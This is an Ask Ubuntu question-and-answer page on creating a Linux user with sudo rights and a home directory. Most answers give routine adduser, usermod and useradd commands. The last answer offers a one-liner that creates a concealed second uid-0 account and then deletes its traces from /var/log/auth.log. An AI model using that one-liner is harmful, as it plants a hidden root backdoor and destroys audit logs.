97

I want to create a user with administrative privileges and all the regular setups like home directory.

  1. Is there a adduser parameter to give the user sudo powers automatically?
  2. What are the default settings for adduser? Will it automatically create home directories and all the other things without extra parameters? (i.e. is adduser <username> enough?)
2
  • you should use useradd for a new user not adduser.
    – JizoSaves
    Commented Apr 14, 2014 at 23:02
  • @JizoSaves Generally speaking, it depends. adduser is more interactive, and useradd is designed for scripts. Commented Aug 3, 2016 at 4:38

4 Answers 4

88

Add the user to the sudo group with:

adduser <username> sudo

(If you're running Ubuntu 11.10 or earlier, use the admin group.)

Default values are stored in /etc/adduser.conf, you can check them with

less /etc/adduser.conf

To create a user and add it directly to the sudo group use

adduser <username> --group sudo

(Again, use admin in place of sudo for 11.10 and earlier.)

Have a look at all the options you have with adduser here.

4
  • adduser --force-badname <username> admin
    – Oxwivi
    Commented Oct 21, 2011 at 14:22
  • I believe so, yeah, or adduser --force-badname <usernane> --group admin Commented Oct 21, 2011 at 14:24
  • 1
    This is the first line of using -D: Option d is ambiguous (debug, disabled-login, disabled-password). adduser interprets it as a mistake and tells you all the flags and options you can use . Definitely got nothing to do with defaults.
    – Oxwivi
    Commented Oct 21, 2011 at 16:31
  • The user must log off, then back on again for this change to take effect Commented Oct 15, 2015 at 13:24
49

To create a new user with admin privileges in Ubuntu 12.04 and later:

adduser <username> --ingroup sudo

In Ubuntu 11.10 and earlier, use this instead:

adduser <username> --group admin

To modify a existing user (12.04 and later):

adduser <username> --group sudo

or

sudo usermod -aG sudo <username>

(Or for 11.10 and earlier: sudo usermod -aG admin <username>)

-a stands for append whereas -G stands for groups. With the -a and -G flags as shown above, the sudo (or admin) group will be added to the list of groups of which the user is a member.

3
  • 3
    adduser <username> sudo does not creates the user; it adds an existing user to the sudo group. Commented Aug 3, 2016 at 4:41
  • 2
    When I do adduser foobar sudo before creating the user, in Xenial it says "adduser: the username `foobar' does not exist", and it's not shown in /etc/passwd, so I believe the user is not created. Commented May 12, 2017 at 17:03
  • 1
    On Trusty I get this: ``` $ sudo adduser neue --group sudo adduser: Please specify a single name in this mode. $ sudo adduser neue sudo adduser: The user 'neue' does not exist. ```
    – IsaacS
    Commented Sep 15, 2017 at 17:57
20

The other answers are correct but you also asked about the home directory. You will also need a password for the new user.

sudo useradd *new-admin-username* -s /bin/bash -g sudo -m
  • -s sets the user's login shell
  • -m makes the user's home directory if it doesn't exist: /home/*new-admin-username*
  • -g adds the user to the sudo group so they will have admin privileges (>11.10)

Once created, add a password for the user:

sudo passwd *new-admin-username*

Login to the user to see if everything worked:

su *new-admin-username*
cd ~/
pwd
1
  • 7
    Note that since you used -g instead of -G, the new user will belong only to the sudo group.
    – muru
    Commented Nov 20, 2014 at 0:17
0

Here's the one liner, It creates a new root user. You have to change some parameters.

  USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment 
  Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 
  0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
  /var/log/auth.log

Best,

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .